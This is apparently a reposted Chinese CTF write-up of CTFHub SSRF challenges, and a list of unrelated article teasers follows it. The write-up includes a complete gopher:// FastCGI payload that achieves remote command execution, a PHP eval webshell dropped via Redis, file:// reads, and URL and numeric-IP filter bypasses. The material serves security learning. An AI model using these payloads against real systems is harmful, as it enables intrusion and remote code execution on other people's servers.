web基础之SSRF

news2024/9/20 14:38:23

1、内网访问

题目提示:访问位于127.0.0.1的flag.php;直接利用ssrf漏洞访问
?url=127.0.0.1/flag.php

2、伪协议读取文件

(1)题目提示:尝试去读取一下Web目录下的flag.php吧
(2)什么是伪协议?

file:// 协议:访问本地文件系统;在ctf考察中通常来读取web目录的文件
http/s协议;探测内网主机存活
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。 

(3)构造payload(web根目录一般都是var/www/html)
/?url=file:///var/www/html/flag.php
f12拿到flag

image

3、端口扫描

直接python写一个字典脚本;使用bp进行爆破;直接拿下flag
python脚本:

with open("password.txt", "w") as file:
   for i in range(8000, 9001):
     file.write(f"{i}\n") 

image

4、post请求

根据题目提示,一共有三个php文件;分别是flag.php、302.php、index.php;访问一下flag.php
http://challenge-10193e76d50d08cb.sandbox.ctfhub.com:10800?url=127.0.0.1/flag.php
f12发现了key;分析源码发现需要向服务器发送key才能拿到flag;于是构造post请求;使用gopher://协议进行传输;(自行了解);拿到flag

5、文件上传

构造payload;发现了文件上传点
/?url=127.0.0.1/flag.php
直接上传文件;但是发现没有上传按钮,修改html代码,增加提交按钮
<input type="submit" value="提交">
上传木马;但是发下上传不上去;那就是用gopher协议

6、FastCGI协议

(1)解释
fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件
(2)借助gopherus,构造从127.0.0.1访问payload,访问目录下的index.php, 别问我怎么知道在/var/www/html下有一个index.php文件;然后输入index.php目录,运行一下ls
 

image


自行下载gopherus-maste工具
 

image


把这一大段拉出来,准备二次编码
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
写一个python脚本,把上述payload进行二次编码;把二次编码后的结果拿出来;放到url;用上述相同的方法读取根目录,这次的RCE远程执行命令为ls /,查看html的上级目录,看到flag

image

7、Redis协议

(1)Redis是一个流行的开源内存数据管理系统,默认端口为6379。客户端和Redis服务器通过这个端口进行通信,客户端连接到Redis服务器后,对其中的数据进行读写等操作。因此,这个端口也是攻击者的常见攻击目标
(2)还是用gopherus

python2 gopherus.py –exploit redis
PHPShell
<?php eval($_POST["aaa"])?> 

antsword连接
 

image


拿到flag

image

8、URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧;利用@如http://notfound.ctfhub.com@www.bbb.com, php会识别www.bbb.com

9、数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢;进制转换
?url = 0x7f.0.0.1/flag.php

10、DNS重绑定 Bypass

生存时间(Time To Live)”- 简单的说它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。
当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。
常见的设置TTL值的场景:
1.增大TTL值,以节约域名解析时间
2.减小TTL值,减少更新域名记录时的不可访问时间

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2124368.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

光伏发电并网系统的能量管理

光伏发电是发展前景良好的清洁型能源。近年来&#xff0c;光伏发电站陆续投入运营&#xff0c;受到光照和温度等因素的影响&#xff0c;电力输出功率存在间歇波动性和随机性&#xff0c;因此&#xff0c;为了维持电网稳定性采用储能装置十分必要。 1储能技术在光伏并网发电系统…

IPD推行成功的核心要素(二十一)PLM助力产品研发全生命周期与创新协同一体化推动研发IPD数字化转型

制造业是实体经济的基础&#xff0c;也是未来经济高质量发展的关键。AI、大数据等新技术的发展&#xff0c;为研发管理创新带来了新的机遇。比如&#xff1a;通过总结过往研发场景进行知识封装&#xff0c;使其形成自适应、甚至可以进行自我调节和优化的能力&#xff0c;最终重…

MySQL · 性能优化 · 提高查询效率的实用指南(上)

前言 在过去的几年里&#xff0c;MySQL作为一款开源数据库&#xff0c;因其稳定性和性能得到了广泛的应用。始终保持着强劲的增长趋势&#xff0c;越来越多的企业和开发者将其作为首选数据库&#xff0c;甚至有部分企业从Oracle迁移至MySQL。然而&#xff0c;随着使用的普及&a…

体型控制器:S6K1,相关磷酸化抗体介绍

前 言 S6K1是一种丝氨酸/苏氨酸蛋白激酶&#xff0c;因能介导核糖体蛋白S6磷酸化而得名。众所周知&#xff0c;胞内蛋白磷酸化在多种生理及病理过程中发挥重要作用&#xff0c;并与癌症的发生发展关系密切。除此之外&#xff0c;S6K1还有控制体型的功能&#xff0c;下文我们将…

activiti学习第一步

此处无简介&#xff08;有需要可以官网查询&#xff09;直接上使用 引入pom <activiti.version>7.1.0.M2</activiti.version><dependency> <groupId>org.activiti</groupId> <artifactId>activiti-spring-boot-starter</artifa…

学生用的蓝牙耳机推荐有哪些?实测四款实力出众机型!

在当今数字化学习环境中&#xff0c;学生对蓝牙耳机的需求日益增长&#xff0c;无论是在线课程的学习、图书馆的集中阅读还是日常通勤中的音频资料复习&#xff0c;一款性能优异、舒适度高且价格合理的蓝牙耳机对学生来说至关重要&#xff0c;面对市场上琳琅满目的产品选择&…

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK获取相机当前数据吞吐量(Python)

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK里函数来获取相机当前数据吞吐量&#xff08;Python&#xff09; Baumer工业相机Baumer工业相机的数据吞吐量的技术背景CameraExplorer如何查看相机吞吐量信息在NEOAPI SDK里通过函数获取相机接口吞吐量 Baumer工业相机通过NEOAPI…

【方法】如何禁止PDF转换成其他格式文件?

在工作中&#xff0c;PDF文件因其易于阅读和不易修改的特性&#xff0c;成为了广泛使用的文件格式。然而&#xff0c;出于安全性或版权保护的考虑&#xff0c;有时候我们不希望他人将PDF文件转换为其他格式。下面一起来看看禁止PDF转换格式的方法&#xff01; 我们只需要通过P…

java 上传代码到线上流程

1. idea 的 maven 插件环境选择 test 或者 prod test 对应物理机&#xff0c;prod对应线上生产环境 2. 选择完成要重新刷新 maven 3. 第一部 首先 clean 第二部进行 package jar 包路径一般在 WeiCar-Server\ruoyi-admin\target 下 去宝塔更新 Jar 包重启项目即可

C++入门 二(函数重载,引用,超详细!!!)

文章目录 函数重载函数重载的概念 引用引用的概念引用特性 函数重载 函数重载的概念 函数重载:是函数的一种特殊情况&#xff0c;C允许在同一作用域中声明几个功能类似的同名函数&#xff0c;这些同名函数的形参列表(参数个数 或 类型 或 类型顺序)不同&#xff0c;常用来处理…

uni-app和Node.js使用uni-push2.0实现通知栏消息推送功能

前言 uniapp 提供了 unipush 统一推送服务,但是每次要推送消息的时候都要登陆 Dcloud 开发者后台&#xff0c;有点不方便&#xff0c;运营需要在我们的后台系统就可以完成操作。 效果演示 消息下发流程 名词解释 名词解释通知消息指定通知标题和内容后&#xff0c;由个推 SD…

【文档资料】《你缺失的那门计算机课》

# 站长的话 站长认为此书写的非常好&#xff0c;能够很好的GET到当下普通人所遇到的难点&#xff0c;正如此书的序章所写&#xff1a;“据我们观察&#xff0c;许多同学对「电脑」并不熟悉&#xff0c;甚至可以说是陌生&#xff1a;他们可能在网上被下载到各种「P2P 高速下载器…

【大模型结构】输出参数配置

文章目录 大模型生成策略Top_kTop_pTemperature联合使用的顺序参考资料 大家在体验大语言模型或者多模态大模型的开源应用时&#xff0c;经常会看到类似下面这个页面&#xff0c;用来控制大模型输出的一些参数设置&#xff1a; 或者在代码中也经常需要设置以下几个参数&#xf…

git-describe获取不到新创建的标签

一、问题描述 1、新建的分支 2、git-describe 失败 二、查询资料 &#xff08;1&#xff09;git-describe - 根据可用的ref给对象一个人类可读的名称 &#xff08;2&#xff09;该命令查找可从提交访问的最新标记。如果标记指向提交&#xff0c;则仅显示标记。否则&#xf…

权威认证 | HelpLook荣获ISO 27001认证,信息安全能力获国际认可

“信息&#xff0c;如同其他核心业务资产&#xff0c;同样具有极高的价值。” 有很多用户关心&#xff0c;在HelpLook上传的数据安全有保障吗&#xff1f;其实&#xff0c;HelpLook早已通过了国际权威的ISO 27001信息安全管理体系认证。这一认证不仅标志着HelpLook的信息安全管…

服务业如何运用控制图来监控服务质量?

控制图&#xff0c;最初起源于制造业&#xff0c;用于监控生产过程中的质量波动&#xff0c;确保产品符合预定标准。然而&#xff0c;其原理同样适用于服务业&#xff0c;成为衡量和监控服务质量的得力助手。通过收集关键服务指标的数据&#xff08;如客户满意度、服务响应时间…

不信这个书单治不了你的大模型焦虑症!学习大模型最值得推荐的几本书

前言 要说现在最热门的技术&#xff0c;可谓非大模型莫属&#xff01; 不少小伙伴都想要学习大模型技术&#xff0c;转战AI领域&#xff0c;以适应未来的大趋势&#xff0c;寻求更有前景的发展~~ 然而&#xff0c;在学习大模型技术这条道路上&#xff0c;却不知道如何进行系…

Vue3 TS 验证子组件中的表单,多级表单验证

Vue3 TS 验证子组件中的表单&#xff0c;多级表单验证 1. 使用情形2. 子组件script中定义并expose3. 父组件使用 1. 使用情形 在某些交互场景下&#xff0c;我们同一个页面会嵌套多个表单&#xff0c;例如表单2为表单1的子组件里的表单&#xff0c;但是我们需要在提交场景下同…

centos 7 升级Docker 与Docker-Compose 到最新版本

一 升级docker 可参考docker官方升级 1, 查看docker 信息 docker info 2,查看docker 版本 docker --version 3 升级前 可停止docker : sudo systemctl stop docker 4 查看已安装的docker 并卸载 [rootlocalhost docker]# yum list installed | grep docker docker.x86…

Java学习中,强制类型转换时,没有检查兼容性,引发 ClassCastException怎么办?

Java是一门强类型语言&#xff0c;这意味着在编译时&#xff0c;变量的数据类型已经确定。然而&#xff0c;在实际开发过程中&#xff0c;可能会遇到将对象转换为其他类型的需求&#xff0c;这时就会涉及到类型转换问题。Java提供了自动类型转换和强制类型转换两种方式来处理不…